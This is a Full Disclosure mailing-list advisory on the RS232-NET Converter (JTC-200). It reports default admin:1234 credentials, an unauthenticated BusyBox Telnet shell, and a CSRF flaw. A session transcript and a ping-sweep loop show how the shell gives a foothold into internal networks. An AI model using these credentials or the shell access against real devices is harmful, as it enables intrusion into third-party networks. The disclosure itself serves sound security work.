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Date: Tue, 05 Jul 2016 21:05:46 +0000
From: Karn Ganeshen <>
To: "" <>
Subject: [FD] RS232-NET Converter (JTC-200) - Multiple vulnerabilities

*RS232-NET Converter (JTC-200) - Multiple vulnerabilities*

About RS232-NET Converter (model JTC-200)

*Seen deployed in:*
CHTD, Chunghwa Telecom Co., Ltd. (Taiwan)
HiNet (Taiwan & China)
PT Comunicacoes (Portugal)
Sony Network Taiwan Limited (Taiwan)
Vodafone Portugal (Portugal)

*1. Weak Credential Management*
The RS232-NET Converter (model JTC-200) web administration interface uses
non-random default credentials of admin:1234. The application does not
enforce a mandatory password change. A network-based attacker can gain
privileged access to a vulnerable device's web management interfaces or
leverage default credentials in remote attacks such as cross-site request

*2. Unauthenticated access over Telnet (**Backdoor shell possibly**)*
The RS232-NET Converter (model JTC-200) provides (undocumented) Busybox
linux shell over Telnet service - without any authentication. This backdoor
shell therefore (apparently) allows access in to the internal network, over
the Internet.

Trying IP...
Connected to IP.
Escape character is '^]'.

BusyBox v0.60.4 (2008.02.21-16:59+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.


BusyBox v0.60.4 (2008.02.21-16:59+0000) multi-call binary
Usage: busybox [function] [arguments]...
or: [function] [arguments]...

BusyBox is a multi-call binary that combines many common Unix  utilities
into a single executable. Most people will create a link to busybox for
each function they wish to use, and BusyBox will act like whatever it was
invoked as.

Currently defined functions:
[, busybox, cat, cp, df, hostname, ifconfig, init, kill, killall, ls,
mkdir, mknod, mount, msh, mv, ping, ps, pwd, rm, sh, test, touch, vi


# ls
bin dev etc nfs proc swap usb var
# cd etc
# ls
ConfigPage WRConfig.ini config inetd.conf inittab ppp protocols rc
resolv.conf services

# cat inetd.conf
telnet stream tcpnowait root /bin/telnetd

Busybox shell offers pretty restricted set of allowed functions but it is
still possible to perform enumeration.

192.168.5.x -> real IP

# for i in `cat ip-list`; do ping 192.168.5.$i; done is alive!
No response from
No response from is alive! is alive!

*3. Cross-Site Request Forgery (CSRF)*
The RS232-NET Converter (model JTC-200) contains a global CSRF
vulnerability. An attacker can perform actions with the same permissions as
a victim user, provided the victim has an active session and is induced to
trigger the malicious request. Note that in combination with default
credentials, an attacker can establish an active session as part of an
attack and therefore would not require a victim to be logged in.


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